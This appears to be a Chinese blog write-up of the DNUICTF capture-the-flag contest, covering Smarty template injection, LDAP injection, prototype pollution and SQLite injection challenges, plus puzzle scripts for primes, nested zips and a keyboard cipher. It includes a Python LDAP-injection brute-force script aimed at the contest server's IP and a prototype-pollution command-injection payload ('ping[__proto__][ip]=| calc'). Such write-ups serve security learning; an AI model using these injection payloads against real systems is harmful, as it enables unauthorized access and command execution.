第一届暗泉杯 DNUICTF

本文探讨了使用Smarty模板进行注入,尤其是通过if标签实现Easyinject,同时揭示了利用LDAP属性进行复杂用户名猜测和密码爆破的过程。作者还分享了在WP系统中可能的绕过方式和遇到的技术挑战,如IP限制、原型污染和SQLite注入。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

加油!等wp出来再补全博客

flag

签到题目


ZmxhZ3tuc3NfbG9naW592 base64

odd_upload

  • smarty模板

题目首页知道用到了smarty模板,同时可以上传文件

根据文档 https://www.smarty.net/docs/zh_CN/installing.smarty.basic.tpl


上传路径可控

/templates/ 传一个 index.tpl 来控制 index.php显示内容


接下来smarty注入,利用 if 标签

Easyinject

  • LDAP注入


尝试 guest EC77k8RHquAMLKAX 登录

发现hint:

The flag is a special email address username.It is attribute of one account and there are multiple accounts in the directory. flag is composed of a-z0-9_

尝试正常的sql注入

出现ldap_search():

尝试 ldap注入

根据登录为 用户名或者邮箱 猜测后台应该是这样的语句

( &(pass=xxxx) (| (user=g*) (mail=l*) )

那么整体思路就是通过设置username为一个不存在,构造例如

'user=a*)(mail=*&pass=EC77k8RHquAMLKAX'

然后当后面的匹配对象 存在且唯一 时返回 密码错误,当 存在但是对象不唯一 时返回 查找用户不唯一

再具体爆破不唯一的下一个字母,来确定存在的对象

Ldap最主要的是 找对attributes,这道题我就是因为缺少ldap的字典导致进度极其缓慢,最后在搜索attributes时,终于发现一个奇怪的邮箱属性 rfc822mailbox


exp:

import requests
import time
from string import ascii_lowercase
from string import ascii_uppercase

url = 'http://47.106.172.144:2333/?'
str1 = '0123456789@_.'

username,done = 'o',False
# ldaptset4t4wt    sdf  nss orange  yunwei

mail = 'n'
# laeaf@nss.moe  guest@nss.moe  nss@nss.moe  ldaptest@test.com

name = 'r'
# dsff  example  groups  rbgsfg   // ldaptset4t4wt   sdf orange nss

cn = 'l'
#guest sdf nss orange  ldaptset4t4wt

rfc822mailbox = 'ldapl'
# nss@nss.moe  laeaf@nss.moe
while not done:
        for j in ascii_lowercase+str1:
            #payload = 'user='+username+j+'*))%00&pass=EC77k8RHquAMLKAX'  #用户名
            #payload = 'user=a*)(mail='+mail+j+'*&pass=EC77k8RHquAMLKAX'  #邮箱
            payload = 'user=a*)(rfc822mailbox=' + rfc822mailbox + j + '*&pass=EC77k8RHquAMLKAX'
            #payload = 'user=a*)(cn=' + cn + j + '*&pass=EC77k8RHquAMLKAX'
            print(payload)
            r = requests.get(url=url+payload)
            time.sleep(0.1)
            if '密码错误' in r.text:
                rfc822mailbox +=j
                #username +=j
                print(rfc822mailbox)
                break
        else:
            done = True
print(rfc822mailbox)

https://docs.bmc.com/docs/fpsc121/ldap-attributes-and-associated-fields-495323340.html

整理好字典!!!

但是看wp好像是直接注出来的,无所谓了

import requests
url = "http://47.106.172.144:2333/"
alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789_'
def search(flag):
    for c in alphabet:
        # print(flag+c+'*')
        r = requests.get(url, params={'user':flag+c+'*', 'pass':'1'})
        if '找不到用户' in r.text:
            pass
        elif '查询用户不唯一' in r.text or '密码错误' in r.text:
            # print(c+'\n'+r.text)
            print(flag+c)
            search(flag+c)
        else:
            print('Error: ['+c+']\n'+r.text)
search('')

Hideandseek(x)

<?php
highlight_file(__FILE__);
//docker 
//FROM php:8.1.0
//disable_functions=exec,shell_exec,system,passthru,popen,proc_open,putenv,getenv,pcntl_exec,fputs,fwrite,pcntl_fork,pcntl_waitpid,pcntl_setpriority,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_sigprocmask
//disable_classes = FFI
//chmod -R  0555 html/
//php -S 0.0.0.0:8000

function main(){
$flag=file_get_contents('/flag');//看到这个flag了吗 (°▽°)ノ✿
if($flag==''){
die('看来你失败了');
}
file_put_contents('/flag','');//我把它覆盖了都不给你 ( ̄▽ ̄)
test();
}
function test(){
eval($_REQUEST['eval']);//来试试读flag吧 只有一次机会哦 执行结束flag真的会消失的说 重启容器间隔会很长时间呢 本地试好了再来试试吧 (〜 ̄△ ̄)〜 
}
if(isset($_REQUEST["eval"])){
main();
}
?> 

dirtyrce(x)

hint: 代码有一个判断非常奇怪 如何利用这个判断呢 注意题目名称

var express = require('express');
var nodeCmd = require('node-cmd');
var bodyParser = require('body-parser');
const app = express();
var router = express.Router();
const port = 80;
app.use(bodyParser.urlencoded({
	extended: true
})).use(bodyParser.json());
function isValidIP(ip) {
	var reg = /^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/;
	return reg.test(ip);
}
app.post("/ping",
function(req, res, next) {

	b = req.body.cmd;
	if (req.body.ping === undefined) {  // ping参数
		res.send('invalid parm');
		return;
	}
	ping = req.body.ping
	if (ping.time !== undefined) {    // ping[time]
		time = Number(ping.time);
		if (time > 10 || time < 1) {   //  1<time<10  
			res.send('invalid time');
			return;
		}
		if (Object.keys(ping).length != 1 && ping.ip !== undefined && ping.ip != '') {
			if (!isValidIP(ping.ip)) {
				res.send('invalid ip addr');
				return;
			}
		}
	} else {
		res.send('need time parm');
		return;
	}
	ip = ((ping.ip !== undefined && ping.ip != '') ? ping.ip: '114.114.114.114');
	nodeCmd.run('ping -c ' + time + ' ' + ip, //WINDOWS USE -n
	function(err, data, stderr) {
		res.send(data);
		return;
	});

});
app.get('/',
function(req, res, next) {
	res.redirect('index');
});

app.get('/index',
function(req, res, next) {
	res.send('<title>ping test</title><form action="/ping" method="POST">Ip:<input type="text" name="ping[ip]"" placeholder="default value 114 dns"><br>Times:<input type="text" name="ping[time]"  value="1"><input type="submit" value="Ping !"></form> ');
});
app.listen(port);

对IP的参数限制的死死的,nodejs的rce不知道是绕过还是模板的漏洞

写的时候想多了,原来就是一个原型污染


payload

ping[__proto__][ip]=| calc &ping[time]=10

直接污染原型就行了

wschat(x)

  • sqlite注入

SQLite 数据库注入总结

一个 nodejs+sqllite写的轻量聊天室 x)

hint: 非常现代的协议 非常简单的注入 最简单的工具就是浏览器
hint: 有什么简单的方法可以单独把前端校验去掉呢

两个功能注册,登录 还有个聊天的面板,发送的消息显示,提示sqli

wp


or4nge战队题解

NssShop

整数溢出

素数

请您选出10个1024位以上的大素数提交给我

py:

from random import randint
import time

def miller_rabin(p):
    if p == 1: return False
    if p == 2: return True
    if p % 2 == 0: return False
    m, k, = p - 1, 0
    while m % 2 == 0:
        m, k = m // 2, k + 1
    a = randint(2, p - 1)
    x = pow(a, m, p)
    if x == 1 or x == p - 1: return True
    while k > 1:
        x = pow(x, 2, p)
        if x == 1: return False
        if x == p - 1: return True
        k = k - 1
    return False

def is_prime(p, r = 40):
    for i in range(r):
        if miller_rabin(p) == False:
            return False
    return True

if __name__ == '__main__':
    T = time.perf_counter()
    for _ in range(100):
        index = 1024
        print(index, "位质数: ", end="")
        num = 0
        for i in range(index):
            num = num * 2 + randint(0, 1)
        while is_prime(num) == False:
            num = num + 1
        print(num)
        print("----------------------------")
    print("用时:", time.perf_counter() - T)

压缩包

压缩包套娃,里面的压缩包名字为解压密码

py:

import zipfile
import re
import os

zippath = r'yasuobao.zip'

while True:
    try:
        temp = zipfile.ZipFile(zippath)
        res = re.search('[0-9]*', temp.namelist()[0])
        passwd = res.group()
        temp.extractall(r'C:/Users/cys/Desktop/yasuobao/', pwd=passwd.encode('ascii'))
        temp.close()
        os.remove(zippath)
        zippath = r'C:/Users/cys/Desktop/yasuobao/' + temp.namelist()[0]
    except Exception as e:
        print("find")
        break

键盘侠

UYTGBNM EDCV UYTGBNM TGBUHM YTFVBH QAZXCDE TYUHN EDCTGBF RFVYGN

每一组在键盘上围成一个字母,不对就对照着笔记本看看

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值